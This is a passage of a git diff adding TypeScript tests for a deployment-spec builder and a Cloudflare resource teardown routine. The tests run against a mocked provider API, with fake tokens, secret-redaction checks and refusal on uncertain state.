+      Buffer.byteLength(ingress.content) -
+      binary.length;
+    const base = manifest.tenantModule.source;
+    const source = `${base}/*${'a'.repeat(mainBytes - Buffer.byteLength(base) - 4)}*/`;
+    const atBoundary = {
+      ...manifest,
+      tenantModule: {
+        ...manifest.tenantModule,
+        source,
+        byteLength: Buffer.byteLength(source),
+        sha256: createHash('sha256').update(source).digest('hex'),
+      },
+      tenantWasm: [
+        {
+          name: 'fixture.wasm',
+          contentType: 'application/wasm' as const,
+          base64: binary.toString('base64'),
+          byteLength: binary.length,
+          sha256: createHash('sha256').update(binary).digest('hex'),
+        },
+      ],
+    };
+    expect(() =>
+      directDeploymentSpec(
+        atBoundary,
+        'a',
+        'initial',
+        secrets,
+        DIRECT_FIXTURE_PROVIDER,
+      ),
+    ).not.toThrow();
+    const oversized = `${source} `;
+    expect(() =>
+      directDeploymentSpec(
+        {
+          ...atBoundary,
+          tenantModule: {
+            ...atBoundary.tenantModule,
+            source: oversized,
+            byteLength: Buffer.byteLength(oversized),
+            sha256: createHash('sha256').update(oversized).digest('hex'),
+          },
+        },
+        'a',
+        'initial',
+        secrets,
+        DIRECT_FIXTURE_PROVIDER,
+      ),
+    ).toThrow(/upload size/);
+  });
+
+  it('passes retained Wasm bytes and media type into each specification', () => {
+    const bytes = Buffer.from([0, 97, 115, 109, 1, 0, 0, 0]);
+    const manifest = {
+      ...directFixtureManifest(),
+      tenantWasm: [
+        {
+          name: 'fixture.wasm',
+          base64: bytes.toString('base64'),
+          contentType: 'application/wasm' as const,
+          byteLength: bytes.length,
+          sha256: createHash('sha256').update(bytes).digest('hex'),
+        },
+      ],
+    };
+    const secrets = generateDirectDeploymentSecrets();
+    for (const release of ['initial', 'next'] as const) {
+      const spec = directDeploymentSpec(
+        manifest,
+        'a',
+        release,
+        secrets,
+        DIRECT_FIXTURE_PROVIDER,
+      );
+      expect(spec.modules[1]).toEqual({
+        name: 'fixture.wasm',
+        content: new Uint8Array(bytes),
+        contentType: 'application/wasm',
+      });
+    }
+    const changed = {
+      ...manifest,
+      tenantWasm: manifest.tenantWasm.map((module) => ({
+        ...module,
+        sha256: '0'.repeat(64),
+      })),
+    };
+    expect(() =>
+      directDeploymentSpec(
+        changed,
+        'a',
+        'initial',
+        secrets,
+        DIRECT_FIXTURE_PROVIDER,
+      ),
+    ).toThrow(/Wasm artifact/);
+  });
+
+  it.each([
+    'a',
+    'b',
+    'recovery',
+  ] as const)('builds validated initial/next specs for %s with stable bytes and secrets', (role) => {
+    const manifest = directFixtureManifest();
+    const secrets = generateDirectDeploymentSecrets();
+    const initial = directDeploymentSpec(
+      manifest,
+      role,
+      'initial',
+      secrets,
+      DIRECT_FIXTURE_PROVIDER,
+    );
+    const next = directDeploymentSpec(
+      manifest,
+      role,
+      'next',
+      secrets,
+      DIRECT_FIXTURE_PROVIDER,
+    );
+    for (const spec of [initial, next]) {
+      expect(() => validateDeploymentSpec(spec)).not.toThrow();
+      expect(() => validateDeploymentSecrets(spec, secrets)).not.toThrow();
+      expect(spec.modules).toEqual([
+        {
+          name: manifest.tenantModule.name,
+          content: manifest.tenantModule.source,
+          contentType: 'application/javascript+module',
+        },
+      ]);
+      expect(spec).toMatchObject({
+        ...manifest.names.roles[role],
+        environment: manifest.environment,
+        authoredBy: 'platform',
+        cpuLimitMs: 50,
+        subrequestLimit: 50,
+      });
+      expect(spec.application?.secrets).toEqual([
+        {
+          name: 'APP_PROBE_TOKEN',
+          valueSha256: createHash('sha256')
+            .update(secrets.application?.APP_PROBE_TOKEN ?? '')
+            .digest('hex'),
+        },
+      ]);
+      expect(spec.application?.r2Buckets).toEqual([{ name: 'PROBE_BUCKET' }]);
+      expect(spec.durableObjectBindings).toEqual([
+        { name: 'MAINTENANCE', className: 'Maintenance' },
+        { name: 'RUNNER', className: 'Runner' },
+      ]);
+      expect(JSON.stringify(spec)).not.toContain(secrets.maintenanceAdmin);
+      expect(JSON.stringify(spec)).not.toContain(
+        secrets.application?.APP_PROBE_TOKEN,
+      );
+    }
+    expect(next.modules).toEqual(initial.modules);
+    expect(next.application?.secrets).toEqual(initial.application?.secrets);
+    expect(next.migrations[0]).toEqual(initial.migrations[0]);
+    expect(next.migrations[1]?.rollbackCompatible).toBe(true);
+    expect(next.previousDurableObjectTag).toBe('v1');
+    expect(next.durableObjectMigrations).toEqual(
+      initial.durableObjectMigrations,
+    );
+    expect(initial.application?.vars).toEqual([
+      { name: 'APPLICATION_RELEASE', value: '1' },
+    ]);
+    expect(next.application?.vars).toEqual([
+      { name: 'APPLICATION_RELEASE', value: '2' },
+    ]);
+    expect(deploymentSpecDigest(next)).not.toBe(deploymentSpecDigest(initial));
+    expect(
+      deploymentSpecDigest(
+        directDeploymentSpec(
+          manifest,
+          role,
+          'next',
+          secrets,
+          DIRECT_FIXTURE_PROVIDER,
+        ),
+      ),
+    ).toBe(deploymentSpecDigest(next));
+    expect(initial.compatibilityFlags).not.toBe(
+      manifest.deploymentRuntime.compatibilityFlags,
+    );
+  });
+
+  it('generates separate credentials without mutable secret containers', () => {
+    const first = generateDirectDeploymentSecrets();
+    const second = generateDirectDeploymentSecrets();
+    const values = [
+      first.deploymentIdentity,
+      first.maintenanceAdmin,
+      first.application?.APP_PROBE_TOKEN,
+      second.deploymentIdentity,
+      second.maintenanceAdmin,
+      second.application?.APP_PROBE_TOKEN,
+    ];
+    for (const value of values) expect(value).toMatch(/^[A-Za-z0-9_-]{43}$/);
+    expect(new Set(values).size).toBe(values.length);
+    expect(Object.isFrozen(first)).toBe(true);
+    expect(Object.isFrozen(first.application)).toBe(true);
+  });
+
+  it.each([
+    ['a', 'failed-recovery'],
+    ['unknown', 'initial'],
+    ['__proto__', 'initial'],
+    ['a', 'unknown'],
+  ] as const)('refuses invalid selection %s/%s', (role, release) => {
+    expect(() =>
+      directDeploymentSpec(
+        directFixtureManifest(),
+        role as DirectFixtureRole,
+        release as DirectFixtureRelease,
+        generateDirectDeploymentSecrets(),
+        DIRECT_FIXTURE_PROVIDER,
+      ),
+    ).toThrow(/selection/);
+  });
+
+  it('binds failed recovery to a distinct retained specification', () => {
+    const manifest = directFixtureManifest();
+    const secrets = generateDirectDeploymentSecrets();
+    const failed = directDeploymentSpec(
+      manifest,
+      'recovery',
+      'failed-recovery',
+      secrets,
+      DIRECT_FIXTURE_PROVIDER,
+    );
+    const valid = directDeploymentSpec(
+      manifest,
+      'recovery',
+      'initial',
+      secrets,
+      DIRECT_FIXTURE_PROVIDER,
+    );
+    expect(failed.migrations[0]).toEqual(valid.migrations[0]);
+    expect(failed.schemaVersion).toBe(2);
+    expect(failed.migrations[1]?.sql).toContain(
+      'direct_conformance_missing_table',
+    );
+    expect(deploymentSpecDigest(failed)).not.toBe(deploymentSpecDigest(valid));
+  });
+
+  it.each([
+    'source',
+    'sha256',
+    'byteLength',
+  ] as const)('rejects changed artifact %s before building a spec', (field) => {
+    const manifest = structuredClone(directFixtureManifest());
+    Object.assign(manifest.tenantModule, {
+      [field]: field === 'byteLength' ? 1 : 'changed',
+    });
+    expect(() =>
+      directDeploymentSpec(
+        manifest,
+        'a',
+        'initial',
+        generateDirectDeploymentSecrets(),
+        DIRECT_FIXTURE_PROVIDER,
+      ),
+    ).toThrow(/artifact/);
+  });
+
+  it('refuses missing or extra application secrets without echoing their values', () => {
+    const secrets = generateDirectDeploymentSecrets();
+    const manifest = directFixtureManifest();
+    expect(() =>
+      directDeploymentSpec(
+        manifest,
+        'a',
+        'initial',
+        {
+          ...secrets,
+          application: {},
+        },
+        DIRECT_FIXTURE_PROVIDER,
+      ),
+    ).toThrow(/application secret/);
+    expect(() =>
+      directDeploymentSpec(
+        manifest,
+        'a',
+        'initial',
+        {
+          ...secrets,
+          application: { ...secrets.application, extra: 'secret-sentinel' },
+        },
+        DIRECT_FIXTURE_PROVIDER,
+      ),
+    ).toThrow(/exactly match/);
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-teardown.test.ts b/packages/fleet-control/test/direct-credentialed-teardown.test.ts
new file mode 100644
index 00000000..366230ea
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-teardown.test.ts
@@ -0,0 +1,1282 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { readFile, writeFile } from 'node:fs/promises';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { DirectProviderError } from '../scripts/direct-credentialed-provider.mjs';
+import {
+  DIRECT_TEARDOWN_MAXIMA,
+  REFERENCE_SECRET_NAMES,
+} from '../scripts/direct-credentialed-reference-vocabulary.mjs';
+import type { DirectRunJournal } from '../scripts/direct-credentialed-run-state.mjs';
+import type { DirectTeardownOutcome } from '../scripts/direct-credentialed-teardown.mjs';
+import { teardownDirectReference } from '../scripts/direct-credentialed-teardown.mjs';
+import { CLOUDFLARE_INVENTORY_BOUND } from '../src/cloudflare-client-config.js';
+import { providerJson as json } from './fixtures/direct-observations.js';
+import {
+  bootstrapContext,
+  cleanupDirectRunState,
+  closed,
+  completeScenario,
+  completeScenarioJournal,
+  exportKey,
+  fixture,
+  opened,
+  present,
+  scenarioJournal,
+  teardownWith,
+} from './fixtures/direct-run-state-builder.js';
+
+const API_TOKEN = 'teardown/provider-token+sentinel==';
+const ACCOUNT = 'account';
+const ROOT = `/client/v4/accounts/${ACCOUNT}`;
+const ROUTES = '/client/v4/zones/zone/workers/routes';
+// The listing answers in the provider's order, which teardown sorts before it
+// compares; the names themselves are the upload's own list.
+const SECRET_NAMES = [...REFERENCE_SECRET_NAMES].sort();
+const unexpectedRequests: string[] = [];
+
+type Hook = (
+  request: Request,
+  url: URL,
+) => Promise<Response | undefined> | Response | undefined;
+type Row = Record<string, unknown>;
+// The world collections whose rows the residual scan classifies by one field.
+type ListedSurface = 'scripts' | 'routes' | 'domains' | 'queues' | 'namespaces';
+
+const absent = (status = 404) =>
+  Response.json(
+    { success: false, errors: [{ code: 10000, message: 'synthetic absence' }] },
+    { status },
+  );
+const forbid = () => absent(403);
+const deployments = (versionId: string) =>
+  json({
+    deployments: [
+      {
+        id: 'deployment',
+        strategy: 'percentage',
+        versions: [{ version_id: versionId, percentage: 100 }],
+      },
+    ],
+  });
+// The bucket read the identity check refuses: the run's own name carrying a
+// creation date that is not the one the bootstrap recorded.
+const changedBucket = (w: { names: { exportBucket: string } }) =>
+  json({
+    name: w.names.exportBucket,
+    creation_date: '2020-01-01T00:00:00.000Z',
+  });
+const paged = (url: URL, rows: Row[]) =>
+  json(url.searchParams.has('page') ? [] : rows);
+const never = () =>
+  vi.fn<typeof fetch>(() => {
+    unexpectedRequests.push('provider call on a refused precondition');
+    throw new Error('teardown must not call the provider');
+  });
+
+function retained(outcome: DirectTeardownOutcome) {
+  if (outcome.status !== 'retained')
+    throw new Error(`expected a retained outcome, saw ${outcome.status}`);
+  return outcome;
+}
+
+async function diskState(journal: DirectRunJournal) {
+  return JSON.parse(
+    await readFile(join(journal.directory, 'journal.json'), 'utf8'),
+  ) as { teardown?: Record<string, unknown> };
+}
+
+async function world(
+  options: {
+    limit?: number;
+    disposableAccount?: boolean;
+    complete?: boolean;
+    corroborate?: boolean;
+  } = {},
+) {
+  const limit = options.limit ?? 8;
+  const disposable = options.disposableAccount ?? true;
+  const { f, journal } =
+    options.complete === false
+      ? await scenarioJournal(limit, disposable)
+      : await completeScenarioJournal(limit, disposable);
+  const names = f.prepared.names;
+  const prefix = f.prepared.config.resourcePrefix;
+  const script = `${ROOT}/workers/scripts/${names.referenceWorker}`;
+  const bucketPath = `${ROOT}/r2/buckets/${names.exportBucket}`;
+  const keys = [exportKey(prefix, 'a'), exportKey(prefix, 'b')];
+  const state = {
+    ingress: true,
+    scriptPresent: true,
+    bucketPresent: true,
+    secretNames: [...SECRET_NAMES],
+    versions: [{ id: 'version' }] as Row[],
+    databases: new Map<string, Row>([
+      ['fleet-uuid', { uuid: 'fleet-uuid', name: names.fleetDatabase }],
+      ['quota-uuid', { uuid: 'quota-uuid', name: names.quotaDatabase }],
+    ]),
+    objects: new Set(keys),
+    extraDatabases: [] as Row[],
+    extraBuckets: [] as Row[],
+    namespaces: [] as Row[],
+    scripts: [] as Row[],
+    domains: [] as Row[],
+    routes: [] as Row[],
+    queues: [] as Row[],
+    dispatch: [] as Row[],
+  };
+  let hook: Hook | undefined;
+  const requests: string[] = [];
+  const residualDatabases = (): Row[] => [
+    ...state.databases.values(),
+    ...state.extraDatabases,
+  ];
+  const residualBuckets = (): Row[] => [
+    ...(state.bucketPresent ? [{ name: names.exportBucket }] : []),
+    ...state.extraBuckets,
+  ];
+  const residualScripts = (): Row[] => [
+    ...(state.scriptPresent ? [{ id: names.referenceWorker }] : []),
+    ...state.scripts,
+  ];
+  // The default world sends no `result_info` on any listing: the live shape for
+  // scripts and routes, and the uncorroborated case for the rest.
+  // `corroborate` opts into the attested shape.
+  const listing = (rows: Row[]) =>
+    options.corroborate === true
+      ? json(rows, { total_count: rows.length })
+      : json(rows);
+  const fetchRequest = vi.fn<typeof fetch>(async (input, init) => {
+    const request = new Request(input, init);
+    const url = new URL(request.url);
+    const path = decodeURIComponent(url.pathname);
+    requests.push(`${request.method} ${path}`);
+    if (url.origin !== 'https://api.cloudflare.com') {
+      unexpectedRequests.push('unexpected origin');
+      throw new Error('Unexpected synthetic origin');
+    }
+    expect(request.headers.get('authorization')).toBe(`Bearer ${API_TOKEN}`);
+    const intercepted = await hook?.(request, url);
+    if (intercepted) return intercepted;
+    if (request.method === 'GET') {
+      if (path === `${script}/subdomain`)
+        return json({ enabled: state.ingress, previews_enabled: false });
+      if (path === `${script}/secrets`)
+        return json(state.secretNames.map((name) => ({ name })));
+      if (path === `${script}/deployments`) return deployments('version');
+      if (path === `${script}/versions`)
+        return state.scriptPresent ? json({ items: state.versions }) : absent();
+      if (path === script)
+        return state.scriptPresent
+          ? new Response('synthetic worker bytes', {
+              headers: { 'Content-Type': 'application/javascript' },
+            })
+          : absent();
+      if (path === `${ROOT}/workers/scripts`) return listing(residualScripts());
+      if (path.startsWith(`${ROOT}/d1/database/`)) {
+        const row = state.databases.get(
+          path.slice(`${ROOT}/d1/database/`.length),
+        );
+        return row ? json(row) : absent();
+      }
+      if (path === `${ROOT}/d1/database`) {
+        const name = url.searchParams.get('name');
+        return paged(
+          url,
+          residualDatabases().filter(
+            (row) =>
+              name === null ||
+              (typeof row.name === 'string' && row.name.includes(name)),
+          ),
+        );
+      }
+      if (path === `${ROOT}/workers/durable_objects/namespaces`)
+        return paged(url, state.namespaces);
+      if (path === `${ROOT}/r2/buckets`) {
+        const after = url.searchParams.get('start_after');
+        return json({
+          buckets: residualBuckets().filter(
+            (row) =>
+              after === null ||
+              (typeof row.name === 'string' && row.name > after),
+          ),
+        });
+      }
+      if (path === `${bucketPath}/objects`) {
+        const scoped = url.searchParams.get('prefix');
+        return json(
+          [...state.objects]
+            .filter((key) => scoped === null || key.startsWith(scoped))
+            .map((key) => ({ key })),
+        );
+      }
+      if (path.startsWith(`${bucketPath}/objects/`))
+        return state.objects.has(path.slice(`${bucketPath}/objects/`.length))
+          ? new Response('synthetic export bytes')
+          : absent();
+      if (path === bucketPath)
+        return state.bucketPresent
+          ? json({
+              name: names.exportBucket,
+              creation_date: '2026-09-10T00:00:00.000Z',
+            })
+          : absent();
+      if (path === `${ROOT}/workers/domains`) return listing(state.domains);
+      if (path === ROUTES) return listing(state.routes);
+      if (path === `${ROOT}/queues`) return listing(state.queues);
+      if (path === `${ROOT}/workers/dispatch/namespaces`)
+        return json(state.dispatch);
+    }
+    if (request.method === 'POST' && path === `${script}/subdomain`) {
+      expect(await request.json()).toEqual({
+        enabled: false,
+        previews_enabled: false,
+      });
+      state.ingress = false;
+      return json({ enabled: false, previews_enabled: false });
+    }
+    if (request.method === 'DELETE') {
+      if (path === script) {
+        state.scriptPresent = false;
+        return json(null);
+      }
+      if (path.startsWith(`${ROOT}/d1/database/`)) {
+        state.databases.delete(path.slice(`${ROOT}/d1/database/`.length));
+        return json(null);
+      }
+      if (path.startsWith(`${bucketPath}/objects/`)) {
+        state.objects.delete(path.slice(`${bucketPath}/objects/`.length));
+        return json({});
+      }
+      if (path === bucketPath) {
+        state.bucketPresent = false;
+        return json({});
+      }
+    }
+    unexpectedRequests.push(`${request.method} ${path}`);
+    throw new Error(`Unexpected synthetic request: ${request.method} ${path}`);
+  });
+  return {
+    f,
+    names,
+    prefix,
+    script,
+    bucketPath,
+    keyA: present(keys[0]),
+    keyB: present(keys[1]),
+    state,
+    requests,
+    journal,
+    setHook(value: Hook | undefined) {
+      hook = value;
+    },
+    run() {
+      return teardownDirectReference({
+        prepared: f.prepared,
+        journal,
+        apiToken: API_TOKEN,
+        fetch: fetchRequest,
+        delay: async () => {},
+      });
+    },
+  };
+}
+
+beforeEach(() => {
+  vi.stubGlobal(
+    'fetch',
+    vi.fn(() => {
+      unexpectedRequests.push('global fetch');
+      throw new Error('Unexpected global network');
+    }),
+  );
+});
+
+afterEach(async () => {
+  vi.restoreAllMocks();
+  vi.unstubAllEnvs();
+  vi.unstubAllGlobals();
+  await cleanupDirectRunState();
+  expect(unexpectedRequests.splice(0)).toEqual([]);
+});
+
+const describeLinux =
+  process.platform === 'linux' ? describe.sequential : describe.skip;
+
+describeLinux('direct reference teardown', () => {
+  it('deletes every receipt in order and proves a zero residual', async () => {
+    const w = await world();
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect(w.requests).toEqual([
+      // disable-reference-ingress: probe, identity, disable, reread
+      `GET ${w.script}/subdomain`,
+      `GET ${w.script}/deployments`,
+      `POST ${w.script}/subdomain`,
+      `GET ${w.script}/subdomain`,
+
+      // delete-reference-worker: probe, identity (version and secret set),
+      // delete, reread
+      `GET ${w.script}`,
+      `GET ${w.script}/deployments`,
+      `GET ${w.script}/secrets`,
+      `DELETE ${w.script}`,
+      `GET ${w.script}`,
+
+      // delete-fleet-d1: probe, identity, delete, reread
+      `GET ${ROOT}/d1/database/fleet-uuid`,
+      `GET ${ROOT}/d1/database/fleet-uuid`,
+      `DELETE ${ROOT}/d1/database/fleet-uuid`,
+      `GET ${ROOT}/d1/database/fleet-uuid`,
+
+      // delete-quota-d1: probe, identity, delete, reread
+      `GET ${ROOT}/d1/database/quota-uuid`,
+      `GET ${ROOT}/d1/database/quota-uuid`,
+      `DELETE ${ROOT}/d1/database/quota-uuid`,
+      `GET ${ROOT}/d1/database/quota-uuid`,
+
+      // export objects: one bucket attestation, then the prefix-scoped and
+      // whole-bucket listings that admit the keys
+      `GET ${w.bucketPath}`,
+      `GET ${w.bucketPath}/objects`,
+      `GET ${w.bucketPath}/objects`,
+
+      // delete-export-object a: probe, delete, reread
+      `GET ${w.bucketPath}/objects/${w.keyA}`,
+      `DELETE ${w.bucketPath}/objects/${w.keyA}`,
+      `GET ${w.bucketPath}/objects/${w.keyA}`,
+
+      // delete-export-object b: probe, delete, reread
+      `GET ${w.bucketPath}/objects/${w.keyB}`,
+      `DELETE ${w.bucketPath}/objects/${w.keyB}`,
+      `GET ${w.bucketPath}/objects/${w.keyB}`,
+
+      // the prefix settles empty before the bucket goes
+      `GET ${w.bucketPath}/objects`,
+
+      // delete-export-r2: probe, delete, reread — its identity is the
+      // attestation above
+      `GET ${w.bucketPath}`,
+      `DELETE ${w.bucketPath}`,
+      `GET ${w.bucketPath}`,
+
+      // the residual scan, one surface at a time
+      `GET ${ROOT}/d1/database`,
+      `GET ${ROOT}/d1/database`,
+      `GET ${ROOT}/workers/durable_objects/namespaces`,
+      `GET ${ROOT}/workers/scripts`,
+      `GET ${ROOT}/r2/buckets`,
+      `GET ${ROOT}/workers/domains`,
+      `GET ${ROUTES}`,
+      `GET ${ROOT}/queues`,
+      `GET ${ROOT}/workers/dispatch/namespaces`,
+      `GET ${w.script}/versions`,
+    ]);
+    // Each ordinal below is the position of that step's own reread in the list
+    // above: the receipt is written once the probe has seen the resource gone.
+    expect(outcome.facts.receipts).toMatchObject({
+      ingress: { ordinal: 4, settledByReread: false },
+      worker: {
+        scriptName: w.names.referenceWorker,
+        secretNames: SECRET_NAMES,
+        ordinal: 9,
+        settledByReread: false,
+      },
+      fleet: { uuid: 'fleet-uuid', ordinal: 13, settledByReread: false },
+      quota: { uuid: 'quota-uuid', ordinal: 17, settledByReread: false },
+      exports: {
+        name: w.names.exportBucket,
+        ordinal: 30,
+        settledByReread: false,
+      },
+    });
+    expect(outcome.facts.receipts.exportObjects).toEqual([
+      { key: w.keyA, ordinal: 23, settledByReread: false },
+      { key: w.keyB, ordinal: 26, settledByReread: false },
+    ]);
+    expect(outcome.facts.retainedIdentities).toEqual({
+      fleetUuid: null,
+      quotaUuid: null,
+      exportBucket: null,
+      scriptName: null,
+      activeVersionId: null,
+    });
+    const residual = present(outcome.facts.residual);
+    expect(residual).toMatchObject({
+      version: 1,
+      bucketJurisdictions: ['default'],
+      dispatch: { kind: 'empty', count: 0, status: null, prefixCount: 0 },
+      versionsGone: true,
+      settleAttempts: 1,
+    });
+    for (const surface of Object.values(residual.surfaces))
+      expect(surface).toMatchObject({
+        prefixCount: 0,
+        prefixNames: [],
+        globalCount: 0,
+      });
+    expect(outcome.facts.providerRequests).toBe(w.requests.length);
+    expect((await diskState(w.journal)).teardown).toMatchObject({
+      phase: 'complete',
+      pending: null,
+      failure: null,
+    });
+  });
+
+  it('returns recorded facts without a provider call once complete', async () => {
+    const w = await world();
+    const first = await w.run();
+    const calls = w.requests.length;
+    expect(await w.run()).toEqual(first);
+    expect(w.requests.length).toBe(calls);
+  });
+
+  it('refuses a pending invocation before any provider call', async () => {
+    const w = await world();
+    await w.journal.reserveInvocation(w.f.request());
+    const outcome = retained(await w.run());
+    expect(outcome).toMatchObject({
+      reason: 'outcome-unknown',
+      phase: 'refused',
+    });
+    expect(w.requests).toEqual([]);
+    expect(outcome.facts.retainedIdentities).toEqual({
+      fleetUuid: 'fleet-uuid',
+      quotaUuid: 'quota-uuid',
+      exportBucket: w.names.exportBucket,
+      scriptName: w.names.referenceWorker,
+      activeVersionId: 'version',
+    });
+  });
+
+  it('refuses a pending bootstrap mutation and an incomplete bootstrap before any provider call', async () => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    await journal.bindBootstrapContext(bootstrapContext(f));
+    const call = () =>
+      teardownDirectReference({
+        prepared: f.prepared,
+        journal,
+        apiToken: API_TOKEN,
+        fetch: never(),
+      });
+    const incomplete = retained(await call());
+    expect(incomplete).toMatchObject({
+      reason: 'invalid-state',
+      phase: 'refused',
+    });
+    await journal.beginBootstrapMutation('create-fleet-d1');
+    const pending = retained(await call());
+    expect(pending).toMatchObject({
+      reason: 'outcome-unknown',
+      phase: 'refused',
+    });
+    expect(pending.facts.retainedIdentities).toEqual({
+      fleetUuid: null,
+      quotaUuid: null,
+      exportBucket: null,
+      scriptName: null,
+      activeVersionId: null,
+    });
+  });
+
+  it('records a refused state with residuals, deletes nothing and re-observes in place', async () => {
+    const w = await world({ complete: false });
+    const outcome = retained(await w.run());
+    expect(outcome).toMatchObject({
+      reason: 'scenario-incomplete',
+      phase: 'refused',
+    });
+    expect(w.requests.some((entry) => entry.startsWith('DELETE'))).toBe(false);
+    expect(outcome.facts.residual).toMatchObject({
+      versionsGone: null,
+      settleAttempts: 1,
+    });
+    expect(present(outcome.facts.residual).surfaces.databases).toMatchObject({
+      prefixCount: 2,
+      prefixNames: [w.names.fleetDatabase, w.names.quotaDatabase],
+    });
+    expect(outcome.facts.retainedIdentities).toEqual({
+      fleetUuid: 'fleet-uuid',
+      quotaUuid: 'quota-uuid',
+      exportBucket: w.names.exportBucket,
+      scriptName: w.names.referenceWorker,
+      activeVersionId: 'version',
+    });
+    const first = w.requests.length;
+    expect(retained(await w.run()).reason).toBe('scenario-incomplete');
+    expect(w.requests.length).toBeGreaterThan(first);
+    expect(w.requests.some((entry) => entry.startsWith('DELETE'))).toBe(false);
+    expect((await diskState(w.journal)).teardown).toMatchObject({
+      phase: 'refused',
+      failure: 'scenario-incomplete',
+      receipts: { exportObjects: [] },
+    });
+  });
+
+  it('re-enters deletion from a recorded refusal the run has since cleared', async () => {
+    const w = await world();
+    await w.journal.recordTeardown(
+      teardownWith((state) => {
+        state.phase = 'refused';
+        state.failure = 'scenario-incomplete';
+      }),
+    );
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect((await diskState(w.journal)).teardown).toMatchObject({
+      phase: 'complete',
+      failure: null,
+    });
+  });
+
+  it.each([
+    1, 3,
+  ])('refuses a confirmed export set of %d keys', async (count) => {
+    const w = await world({ complete: false });
+    const state = completeScenario();
+    const a = present(state.proofs.exports.a);
+    if (count === 1) {
+      present(state.proofs.exports.b).receipt = structuredClone(a.receipt);
+      state.proofs.exportVerifications = state.proofs.exportVerifications.map(
+        () => structuredClone(a),
+      );
+    } else {
+      // A third distinct receipt: the count is exactly two, not "at most the
+      // journal's `exportObjects` maximum".
+      const third = structuredClone(a);
+      third.receipt.operationId = `${a.receipt.operationId}-third`;
+      state.proofs.exportVerifications = [third];
+    }
+    await w.journal.recordScenario(state);
+    const outcome = retained(await w.run());
+    expect(outcome.reason).toBe('invalid-state');
+    expect(w.requests).toEqual([]);
+  });
+
+  it('refuses an unexpected object before any object delete', async () => {
+    for (const kind of ['under-prefix', 'outside-prefix', 'keyless'] as const) {
+      const w = await world();
+      if (kind === 'under-prefix')
+        w.state.objects.add(`${w.prefix}/receipts/v1/other/object.sql`);
+      if (kind === 'outside-prefix')
+        w.state.objects.add('unrelated/object.sql');
+      if (kind === 'keyless')
+        w.setHook((request, url) =>
+          request.method === 'GET' && url.pathname.endsWith('/objects')
+            ? json([{ size: 1 }])
+            : undefined,
+        );
+      expect(retained(await w.run()).reason).toBe('unexpected-object');
+      expect(
+        w.requests.filter(
+          (entry) => entry.startsWith('DELETE') && entry.includes('/objects/'),
+        ),
+      ).toEqual([]);
+    }
+  });
+
+  it('settles an unusable delete answer by exact-identity reread in the same run', async () => {
+    for (const kind of [
+      'empty',
+      'array',
+      'unsuccessful',
+      'no-content',
+      'throw',
+    ] as const) {
+      const w = await world();
+      w.setHook((request, url) => {
+        if (request.method !== 'DELETE' || url.pathname !== w.script)
+          return undefined;
+        w.state.scriptPresent = false;
+        if (kind === 'throw') throw new Error('synthetic transport loss');
+        if (kind === 'array') return json([]);
+        if (kind === 'unsuccessful')
+          return Response.json({ success: false, errors: [], result: null });
+        if (kind === 'no-content') return new Response(null, { status: 204 });
+        return new Response(null, {
+          status: 200,
+          headers: {
+            'content-type': 'application/json',
+            'content-length': '0',
+          },
+        });
+      });
+      const outcome = await w.run();
+      expect(outcome.status).toBe('cleaned');
+      expect(outcome.facts.receipts.worker).toMatchObject({
+        settledByReread: true,
+      });
+    }
+  });
+
+  it('resumes a pending second export object with the first already receipted', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'DELETE' &&
+      decodeURIComponent(url.pathname).endsWith(w.keyB)
+        ? json([])
+        : undefined,
+    );
+    expect(retained(await w.run()).reason).toBe('outcome-unknown');
+    expect((await diskState(w.journal)).teardown).toMatchObject({
+      phase: 'export-objects',
+      pending: { kind: 'delete-export-object', key: w.keyB },
+      receipts: { exportObjects: [{ key: w.keyA }] },
+    });
+    w.setHook(undefined);
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect(
+      outcome.facts.receipts.exportObjects.map((entry) => entry.key),
+    ).toEqual([w.keyA, w.keyB]);
+  });
+
+  it('refuses an unreadable probe instead of claiming absence', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === `${w.script}/subdomain`
+        ? absent(500)
+        : undefined,
+    );
+    expect(retained(await w.run()).reason).toBe('provider-unavailable');
+
+    const resumed = await world();
+    resumed.setHook((request, url) =>
+      request.method === 'DELETE' && url.pathname === resumed.script
+        ? json([])
+        : undefined,
+    );
+    expect(retained(await resumed.run()).reason).toBe('outcome-unknown');
+    resumed.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === resumed.script
+        ? absent(500)
+        : undefined,
+    );
+    expect(retained(await resumed.run()).reason).toBe('provider-unavailable');
+    // The probe refuses ahead of every write, so the record the earlier run
+    // left pending is still the record a later run re-enters on.
+    expect((await diskState(resumed.journal)).teardown).toMatchObject({
+      phase: 'worker',
+      pending: { kind: 'delete-reference-worker' },
+      receipts: { worker: null },
+    });
+  });
+
+  it('retains a pending mutation whose reread still shows the resource', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'DELETE' && url.pathname === w.script
+        ? json([])
+        : undefined,
+    );
+    const outcome = retained(await w.run());
+    expect(outcome).toMatchObject({
+      reason: 'outcome-unknown',
+      phase: 'worker',
+    });
+    expect((await diskState(w.journal)).teardown).toMatchObject({
+      phase: 'worker',
+      pending: { kind: 'delete-reference-worker' },
+      receipts: { worker: null },
+    });
+  });
+
+  it('resumes an absent pending mutation without a second delete', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'DELETE' && url.pathname.includes('/d1/database/')
+        ? json([])
+        : undefined,
+    );
+    expect(retained(await w.run()).reason).toBe('outcome-unknown');
+    w.setHook(undefined);
+    w.state.databases.delete('fleet-uuid');
+    const mark = w.requests.length;
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect(outcome.facts.receipts.fleet).toMatchObject({
+      uuid: 'fleet-uuid',
+      settledByReread: true,
+    });
+    // No second delete of any shape for that database: the resumed run reads
+    // it and settles the receipt by that read.
+    expect(
+      w.requests
+        .slice(mark)
+        .filter((entry) => entry.includes(`${ROOT}/d1/database/fleet-uuid`)),
+    ).toEqual([`GET ${ROOT}/d1/database/fleet-uuid`]);
+  });
+
